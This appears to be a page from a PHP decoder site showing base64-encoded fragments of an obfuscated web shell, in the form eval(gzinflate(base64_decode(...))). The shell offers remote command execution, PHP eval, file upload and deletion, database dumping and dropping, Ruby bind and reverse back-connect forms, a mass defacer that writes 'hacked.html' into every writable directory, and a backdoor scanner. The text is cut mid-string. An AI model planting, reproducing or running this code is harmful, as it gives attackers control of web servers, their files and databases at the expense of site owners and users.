mFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48cD4kbXMyPC90ZD48L3RyPjx0cj4iOw0KICAgICAgICAgICAgLy9CaW5kIFJ1YnkNCiAgICAgICAgICAgICRyLj0iPHRkPjxzcGFuIGNsYXNzPSdnZWRlJz5SdWJ5PC9zcGFuPiA8YnIgLz48aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nIi4kdGhpcy0+aXAuIicgbmFtZT0nYmNwZXJsJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIC8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz4NCiAgICAgICAgICAgIDxwPiRtczwvdGQ+IjsNCiAgICAgICAgICAgIC8vUmV2ZXJzZSBSdWJ5IA0KICAgICAgICAgICAgJHIuPSI8dGQgc3R5bGU9J2JvcmRlci1yaWdodDoxcHggc29saWQgI2YwMCc+PHNwYW4gY2xhc3M9J2dlZGUnPlJ1Ynk8L3NwYW4+IDxiciAvPklQIGVudGUgPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLiR0aGlzLT5pcC4iJyBuYW1lPSdiY3BlcmwnIGlkPSdib3gnPjxiciAvPlBvcnQgOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzY2NicgaWQ9J2JveCcgc3R5bGU9J21hcmdpbi10b3A6NXB4O21hcmdpbi1sZWZ0OjE3cHg7Jy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48cD4kbXMyPC90ZD48L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4iOw0KICAgICAgICByZXR1cm4gJHI7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGJjKCR0eXBlKQ0Kew0KICAgIHN3aXRjaCAoJHR5cGUpIHsNCiAgICAgICAgY2FzZSAnYmluZHBsJzoNCiAgICAgICAgICAgICMgY29kZS4uLg0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2JpbmRwbCc6DQogICAgICAgIA0KICAgICAgICBicmVhazsNCiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICMgY29kZS4uLg0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KfQ0KDQp9DQokc2hlbGw9bmV3IHNoZWxsKCk7DQokcj0nJzsNCiRyLj0kc2hlbGwtPmhlYWRlcigpOw0KJHIuPSRzaGVsbC0+bWVudSgpOw0KZWNobyAiPC9kaXY9J2lzaSc+IjsNCnN3aXRjaCAoJF9HRVRbJ2FjdCddKSB7DQogICAgY2FzZSAnZmlsZSc6DQogICAgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2FjdDInXSk9PSdkZWwnKQ0KICAgICRyLj0kc2hlbGwtPnJlbWZpbGUoKTsNCiAgICBpZihpc3NldCgkX0dFVFsnYWN0MyddKT09J2RlbCcpDQogICAgJHIuPSRzaGVsbC0+cmVtZGlyKCk7DQogICAgJHIuPSRzaGVsbC0+eHBsKCk7ICAgIA0KICAgICRyLj0kc2hlbGwtPmNlbnRlcigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2VkaXQnOg0KICAgICRyLj0kc2hlbGwtPmVkaXQoJF9HRVRbJ2ZpbGUnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAncmVuJzoNCiAgICAkci49JHNoZWxsLT5yZW4oJF9HRVRbJ2ZpbGUnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnY21kJzoNCiAgICAkci49JHNoZWxsLT5jb21tYW5kKCk7DQogICAgJHIuPSRzaGVsbC0+Y2VudGVyKCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnZG93bic6DQogICAgJHIuPSRzaGVsbC0+ZG93bmxvYWRmaWxlKCRfR0VUWydmaWxlJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Rvd25mb2xkZXInOg0KICAgICRyLj0kc2hlbGwtPmRvd25sb2FkZm9sZGVyKCRfR0VUWydmaWxlJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ215c3FsJzoNCiAgICAkci49JHNoZWxsLT5sb2dpbigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3ZpZXcnOg0KICAgICRyLj0kc2hlbGwtPmxpaGF0ZGIoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdzaG93dGFibGUnOg0KICAgICRyLj0kc2hlbGwtPnNob3d0YWJsZSgpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3Nob3djb24nOg0KICAgICRyLj0kc2hlbGwtPnNob3djb24oKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdkb3duZGInOg0KICAgICRyLj0kc2hlbGwtPmRvd25kYigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2VkaXRyb3cnOg0KICAgICRyLj0kc2hlbGwtPmVkaXRyb3coKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdsb2dvdXQnOg0KICAgICRfU0VTU0lPTj1hcnJheSgpOw0KICAgIHNlc3Npb25fZGVzdHJveSgpOw0KICAgIGhlYWRlcigibG9jYXRpb246P2FjdD1teXNxbCIpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Ryb3BkYic6DQogICAgJHIuPSRzaGVsbC0+ZHJvcHNxbCgpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2RlbHJvdyc6DQogICAgJHIuPSRzaGVsbC0+ZHJvcHJvdygpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2luc2VydHJvdyc6DQogICAgJHIuPSRzaGVsbC0+aW5zZXJ0cm93KCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnc3FsY21kJzoNCiAgICAkci49JHNoZWxsLT5zcWxjbWQoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdlbmNvZGUnOg0KICAgICRyLj0kc2hlbGwtPmNvbnZlcnRlcigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3Nlcic6JHIuPSRzaGVsbC0+aW5mb3NlcigpO2JyZWFrOw0KICAgIGNhc2UgImV2YWwiOg0KICAgICRyLj0kc2hlbGwtPnBocGV2YWwoKTskci49JHNoZWxsLT5jZW50ZXIoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICd3cml0ZSc6DQogICAgJHIuPSRzaGVsbC0+d3JpdGFibGUoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdiZHMnOiRyLj0kc2hlbGwtPmRvb3JzY2FuKCk7YnJlYWs7DQogICAgY2FzZSAnbWQnOiRyLj0kc2hlbGwtPm1hc3MoKTticmVhazsNCiAgICBjYXNlICdiYyc6JHIuPSRzaGVsbC0+ZG9vcigpO2JyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgJHIuPSRzaGVsbC0+bG9nbygpOw0KICAgIGJyZWFrOw0KfQ0Kc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKSB7DQogICAgY2FzZSAnZWRpdGZpbGUnOg0KICAgICAgICBpZigkc2hlbGwtPmVkaXRmaWxlKCRfUE9TVFsnZmlsZSddKSkNCiAgICAgICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgICAgICANCiAgICAgICAgYnJlYWs7DQogICAgY2FzZSAncmVuYW1lZCc6DQogICAgICAgIGlmKCRzaGVsbC0+cmVuYW1lKCRfUE9TVFsnZmlsZSddKSkNCiAgICAgICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgIm1rZGlyIjoNCiAgICAkci49JHNoZWxsLT5ta2RpcigpOw0KICAgICRyLj1oZWFkZXIoImxvY2F0aW9uOj9hY3Q9ZmlsZSZkaXI9Ii4kc2hlbGwtPmRpcigpLiIiKTsNCiAgICBicmVhazsNCiAgICBjYXNlICJjcmVhdGVmaWxlIjoNCiAgICAkci49JHNoZWxsLT5jcmVhdGVmaWxlKCk7DQogICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgIGJyZWFrOw0KICAgIA0KICAgIGNhc2UgInVwbG9hZGVyIjoNCiAgICAkci49JHNoZWxsLT51cGxvYWQoKTsNCiAgICAkci49aGVhZGVyKCJsb2NhdGlvbjo/YWN0PWZpbGUmZGlyPSIuJHNoZWxsLT5kaXIoKS4iIik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnY3JlYXRlZGInOg0KICAgICRyLj0kc2hlbGwtPmNyZWF0ZWRiKCRfUE9TVFsnZGJuYW1lJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3VwZGF0ZXJvdyc6DQogICAgJHIuPSRzaGVsbC0+dXBkYXRlcm93KCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnaW5zZXJ0cm93JzoNCiAgICAkci49JHNoZWxsLT5pbnNlcnRyb3coKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdtYXNzJzoNCiAgICAkci49JHNoZWxsLT5uZXdtYXNzKCRfUE9TVFsnZGlyJ10sJF9QT1NUWydmaWxlJ10sJF9QT1NUWydzb3VyY2UnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnYmMnOg0KICAgICRyLj0kc2hlbGwtPmJjKCk7DQogICAgYnJlYWs7IA0KfQ0KZWNobyAiPC9kaXY+IjsNCiRyLj0kc2hlbGwtPmZvb3RlcigpOw0KZWNobyAkcjsNCm9iX2VuZF9mbHVzaCgpOw0KPz4='))); ?> 

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('IHN0eWxlPSdib3JkZXItYm90dG9tOnRoaW4gZGFzaGVkICNmMDA7Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGRhdFskbl0pLiI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHIuPSI8L3RyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRyLj0iPC90YWJsZT4iOw0KICAgICAgICAgICAgfSBlbHNlICRyLj0iPGNlbnRlcj4iLiRyZS4iPGJyIC8+RXJyb3IgYnJvLCBQZXJpa3NhIHF1ZXJ5IGVudGUiOw0KICAgICAgICB9ZWxzZSAkci49IjxjZW50ZXI+SXNpIFF1ZXJ5IG55YSBicm88L2NlbnRlcj4iOw0KICAgICAgICANCiAgICAgICAgfQ0KICAgICAgICAkci49JHRoaXMtPnNxbGNvbW1hbmQoKTsNCiAgICAgICAgJHIuPSI8L2Rpdj4iOw0KICAgICAgICByZXR1cm4gJHI7DQogICAgfQ0KDQogICAgLy9jb252ZXJ0ZXIgZm9ybQ0KICAgIGZ1bmN0aW9uIGNvbnZlcnRlcigpDQogICAgew0KICAgICAgICAkcj0nJzsNCiAgICAgICAgJHIuPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgICRvcHQ9YXJyYXkoIk1ENSI9PiJtZDUiLCJIZXgiPT4iaGV4YSIsIkJhc2U2NCBFbmNvZGVyIj0+IjY0ZW4iLCJCYXNlNjQgRGVjb2RlciI9PiI2NGRlIiwiU0hBMSI9PiJzaGExIiwiVVJMIEVuY29kZXIiPT4idXJsZW4iLCJVUkwgRGVjb2RlciI9PiJ1cmxkZSIpOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSYmIWVtcHR5KCRfUE9TVFsnY29udmVydCddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHZhbD0kdGhpcy0+Y29udmVydCgkX1BPU1RbJ2lzaSddKTsNCiAgICAgICAgICAgICRyLj0iPHRleHRhcmVhID4kdmFsPC90ZXh0YXJlYT4iOw0KICAgICAgICB9DQogICAgICAgICRpc2k9IjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9hY3Q9ZW5jb2RlJz48dGV4dGFyZWEgc3R5bGU9J3dpZHRoOjUwJTtoZWlnaHQ6MTAwcHg7Ym9yZGVyOjFweCBzb2xpZCAjZjAwOycgbmFtZT0nY29udmVydCcgPjwvdGV4dGFyZWE+PGJyIC8+PHNlbGVjdCBuYW1lPSdpc2knIGlkPSdib3gnPiI7DQogICAgICAgICAgICBmb3JlYWNoICgkb3B0IGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICRpc2kuPSI8b3B0aW9uIHZhbHVlPSR2PiIuJGsuIjwvb3B0aW9uPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkci49JGlzaS4iPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyBzdHlsZT0nY29sb3I6I2ZmZicgaWQ9J2J1dCcgdmFsdWU9J0NvbnZlcnQnPjwvZm9ybT48L2NlbnRlcj48L2Rpdj4iOw0KICAgICAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL2Rpc3BsYXkgdmFsdWFibGUgaW5mbyBvbiBzZXJ2ZXIgDQogICAgZnVuY3Rpb24gaW5mb3NlcigpDQogICAgew0KICAgICAgICAkcj0iPGRpdiBpZD0naXNpJz48dGFibGUgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkRpc2FibGUgRnVuY3Rpb24gPC90ZD48dGQ+OiAiLihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpP2luaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk6IkFsbCBGdW5jdGlvbiBFbmFibGUiKS4iPC90ZD48L3RyPiI7Ow0KICAgICAgICAkci49Ijx0cj48dGQ+U2FmZSBNb2RlIDwvdGQ+PHRkPjogIi4oaW5pX2dldCgnc2FmZV9tb2RlJyk/Ik9uIjoiT2ZmIikuIjwvdGQ+PC90cj4iOw0KICAgICAgICAkci49Ijx0cj48dGQ+T3BlbiBCYXNlIERpciA8L3RkPjx0ZD46ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjwvdGQ+PC90cj4iOw0KICAgICAgICAkci49Ijx0cj48dGQ+UGhwIHZlcnNpb24gPC90ZD48dGQ+OiAiLnBocHZlcnNpb24oKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5SZWdpc3RlciBHbG9iYWwgPC90ZD48dGQ+OiAiLihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWwnKT8nRW5hYmxlJzonRGlzYWJsZScpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkN1cmwgPC90ZD48dGQ+OiAiLihleHRlbnNpb25fbG9hZGVkKCdjdXJsJyk/J0VuYWJsZSc6J0Rpc2FibGUnKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5EYXRhYmFzZSBNeXNxbCA8L3RkPjx0ZD46ICIuKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPydPbic6J09mZicpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPk1hZ2ljIFF1b3RlcyA8L3RkPjx0ZD46ICIuKGluaV9nZXQoJ01hZ2ljX1F1b3RlcycpPydPbic6J09mZicpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPlJlbW90ZSBJbmNsdWRlIDwvdGQ+PHRkPjogIi4oaW5pX2dldCgnYWxsb3dfdXJsX2luY2x1ZGUnKT8nRW5hYmxlJzonRGlzYWJsZScpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkRpc2sgRnJlZSBTcGFjZSA8L3RkPjx0ZD46ICIuJHRoaXMtPmdldFNpemUoZGlza2ZyZWVzcGFjZSgkdGhpcy0+ZGlyKCkpKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5Ub3RhbCBEaXNrIFNwYWNlIDwvdGQ+PHRkPjogIi4kdGhpcy0+Z2V0U2l6ZShkaXNrX3RvdGFsX3NwYWNlKCR0aGlzLT5kaXIoKSkpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8L3RhYmxlPjwvZGl2PiI7DQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgICAgIC8vZGlzcGxheSBhdmFpbGFibGUgZHJpdmUgb24gd2luYm94IA0KICAgIGZ1bmN0aW9uIGRyaXZlKCkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkdmFsKSB7DQogICAgICAgIGlmKGlzX2RpcigkdmFsLiI6Ii5ESVJFQ1RPUllfU0VQQVJBVE9SKSkNCiAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYWQ9JHZhbC4iOiIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgICAgICRyPSRyLj0iPGEgaHJlZj0nP2FjdD1maWxlJmRpcj0kYWQnPiR2YWw6Ii5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2E+ICI7DQogICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL2ZpbmQgd3JpdGFibGUgZGlyZWN0b3J5DQogICAgZnVuY3Rpb24gc2NkaXIoJGRpcikNCiAgICB7DQogICAgICAgICRyPScnOw0KICAgICAgICAkZG5hbWU9YXJyYXkoKTsNCiAgICAgICAgaWYoJGRoPW9wZW5kaXIoJGRpcikpDQogICAgICAgIHsNCiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0oJG5hbWU9cmVhZGRpcigkZGgpKSkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJG5hbWUgIT0nLicmJiRuYW1lIT0nLi4nKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRuYW1lKSYmaXNfd3JpdGFibGUoJG5hbWUpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRkbmFtZVtdPSRuYW1lOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICB9DQogICAgICAgIGlmKCRkbmFtZSkNCiAgICAgICAgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGRuYW1lIGFzICR2YWwpIHsNCiAgICAgICAgICAgICRyLj0iPGEgaHJlZj0nP2FjdD1maWxlJmRpcj0iLiRkaXIuJHZhbC5ESVJFQ1RPUllfU0VQQVJBVE9SLiInPiIuJGRpci4kdmFsLiI8L2E+PGhyIHN0eWxlPSdib3JkZXI6dGhpbiBzb2xpZCAjMmUyZTJlJyAvPiI7DQogICAgICAgIH0NCiAgICAgICAgfSBlbHNlICRyLj0iTm90IEZvdW5kIjsNCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL3dyaXRhYmxlIHNjYW5uZXIgZm9ybQ0KICAgIGZ1bmN0aW9uIHdyaXRhYmxlKCkNCiAgICB7DQogICAgICAgICRyPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZmluZGRpciddKSYmaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+c2NkaXIoJF9QT1NUWydmaW5kZGlyJ10pOw0KICAgICAgICAgICAgDQogICAgICAgIH0gLy9lbHNlIHsNCiAgICAgICAgICAgICRyLj0iPGNlbnRlcj5DYXJpIHNlbXVhIGRpcmVjdG9yeSB5YW5nIHdyaXRlYWJsZSA8YnIgLz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD13cml0ZSZkaXI9Ii4kdGhpcy0+ZGlyKCkuIic+Ii4kdGhpcy0+Y3VycmVudCgnd3JpdGUnKS4iPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZmluZGRpcicgaWQ9J2JveCcgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPjxpbnB1dCBpZD0nYnV0JyB0eXBlPSdzdWJtaXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweDtjb2xvcjojZmZmJyAgbmFtZT0nc3VibWl0JyB2YWx1ZT0nQ2FyaSc+PC9jZW50ZXI+PGZvcm0+IjsNCiAgICAgICAgLy99DQogICAgICAgICRyLj0iPC9kaXY+IjsNCiAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICANCiAgICAvL21hc3MgZGVmYWNlciANCiAgICBmdW5jdGlvbiBtYXNzKCkNCiAgICB7DQogICAgICAgICAgICAkcj0iPGRpdiBpZD0naXNpJz4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2RlZiddKSYmaXNzZXQoJF9QT1NUWydmbmFtZSddKSYmaXNzZXQoJF9QT1NUWydpc2lueWEnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+ZGVmYWNlKCRfUE9TVFsnYWRkciddLCRfUE9TVFsnZm5hbWUnXSwkX1BPU1RbJ2lzaW55YSddKTsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+c2NkaXIoJF9QT1NUWydhZGRyJ10pOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/YWN0PW1kJmRpcj0iLiR0aGlzLT5kaXIoKS4iJz5NYXNzIERlZmFjZXIgPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgc3R5bGU9J3dpZHRoOjUwMHB4OycgbmFtZT0nYWRkcicgaWQ9J2JveCcgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPiIuJHRoaXMtPmN1cnJlbnQoJ21kJykuIjxiciAvPk5hbWEgRmlsZSA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm5hbWUnIHZhbHVlPSdoYWNrZWQuaHRtbCcgc3R5bGU9J21hcmdpbjo3cHggMDsnIGlkPSdib3gnPjxiciAvPg0KICAgICAgICA8dGV4dGFyZWEgbmFtZT0naXNpbnlhJyBzdHlsZT0nYm9yZGVyOjFweCBzb2xpZCAjZjAwOyc+PGgxPmhhY2tlZDwvaDE+PC90ZXh0YXJlYT48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkZWYnIGlkPSdidXQnIHZhbHVlPSdEZWZhY2UnPjwvZm9ybT48L2NlbnRlcj4iOw0KICAgICAgICAkci49IjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgLy9tYXNzIGRlZmFjZXIgZnVuY3QNCiAgICBmdW5jdGlvbiBkZWZhY2UoJGFsLCRmbmFtZSwkc291cmNlKQ0KICAgIHsNCiAgICAgICAgJGRuYW1lPWFycmF5KCk7DQogICAgICAgICRhbD0kdGhpcy0+cmVwbGFjZSgkYWwpOw0KICAgICAgICBpZigkZGg9b3BlbmRpcigkdGhpcy0+cmVwbGFjZSgkYWwpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgd2hpbGUgKGZhbHNlICE9PSgkbmFtZT1yZWFkZGlyKCRkaCkpKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZigkbmFtZSAhPScuJyYmJG5hbWUhPScuLicmJmlzX2RpcigkbmFtZSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkbmFtZSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkbmFtZVtdPSRuYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICB9DQogICAgICAgIGlmKCRkbmFtZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHIuPSJNYXNzIERlZmFjZSBTdWNjZXNzIGJybyA8YnIgLz4iOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGRuYW1lIGFzICR2YWwpIHsNCiAgICAgICAgICAgICAgICBpZigkZnA9Zm9wZW4oJGFsLiR2YWwuIi8iLiRmbmFtZSwidyIpKQ0KICAgICAgICAgICAgZndyaXRlKCRmcCwgJHNvdXJjZSk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgDQogICAgICAgIH0NCiAgICAgICAgZWxzZSAkci49ImZhaWxlZCI7DQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgLy9iYWNrZG9vciBmdW5jdGlvbiANCiAgICBmdW5jdGlvbiBiZGYoJGRpcikNCiAgICB7DQogICAgICAgIA0KICAgICAgICAkcj0nJzsNCiAgICAgICAgJGhhcz0kX1BPU1RbJ2J1ZyddOw0KICAgICAgICBpZigkZmlsZXMgPSBAc2NhbmRpcigkZGlyKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZigkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJyYmICRmaWxlICE9J2NnaS1iaW4nKSB7DQogICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiRzbGFzaC4kZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHIuPSR0aGlzLT5iZGYoJGRpci4kZmlsZS5ESVJFQ1RPUllfU0VQQVJBVE9SKTsNCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkb3AgPSBAZmlsZV9nZXRfY29udGVudHMoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJG9wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaGFzIGFzICRidWcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAcHJlZ19tYXRjaCgiLyRidWdcKCguKj8pXCkvIiwgJG9wKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkci49Ijx0cj48dGQ+Q29udGFpbiAnJGJ1ZycgYXQgIi4kZGlyLiRmaWxlLiI8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsZmlsZW10aW1lKCRkaXIuJGZpbGUpKS4iPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHI7DQogICAgICAgIH0NCiAgICAvL2JhY2tkb29yIHNjYW5uZXIgZm9ybSANCiAgICBmdW5jdGlvbiBkb29yc2NhbigpDQogICAgew0KICAgICAgICAkdGhpcy0+ZmluZCA9IGFycmF5KCdiYXNlNjRfZGVjb2RlJywnc3lzdGVtJywncGFzc3RocnUnLCdwb3BlbicsJ2V4ZWMnLCdzaGVsbF9leGVjJywnZXZhbCcsJ21vdmVfdXBsb2FkZWRfZmlsZScsJ2NvcHknLCdwY250bF9leGVjJywnZXNjYXBlc2hlbGxhcmcnLCdlc2NhcGVzaGVsbGNtZCcsJ3Byb2Nfb3BlbicsJ3Byb2NfZ2V0X3N0YXR1cycsJ3Byb2NfbmljZScsJ3Byb2Nfb3BlbicsJ3Byb2NfdGVybWluYXRlJyk7DQogICAgICAgICRyPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pJiZpc3NldCgkX1BPU1RbJ2J1ZyddKSkNCiAgICAgICAgeyAgICAkci49Ijx0YWJsZSB3aWR0aD0nMTAwJScnIGNsYXNzPSd4cGx0YWInPjx0cj48dGg+TXVuZ2tpbiBpbmkgRmlsZSBCYWNrRG9vcjwvdGg+PHRoPkxhc3QgTW9kaWZpZWQ8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+YmRmKCRfUE9TVFsnZGlyJ10pOw0KICAgICAgICAgICAgJHIuPSI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIA0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/YWN0PWJkcyZkaXI9Ii4kdGhpcy0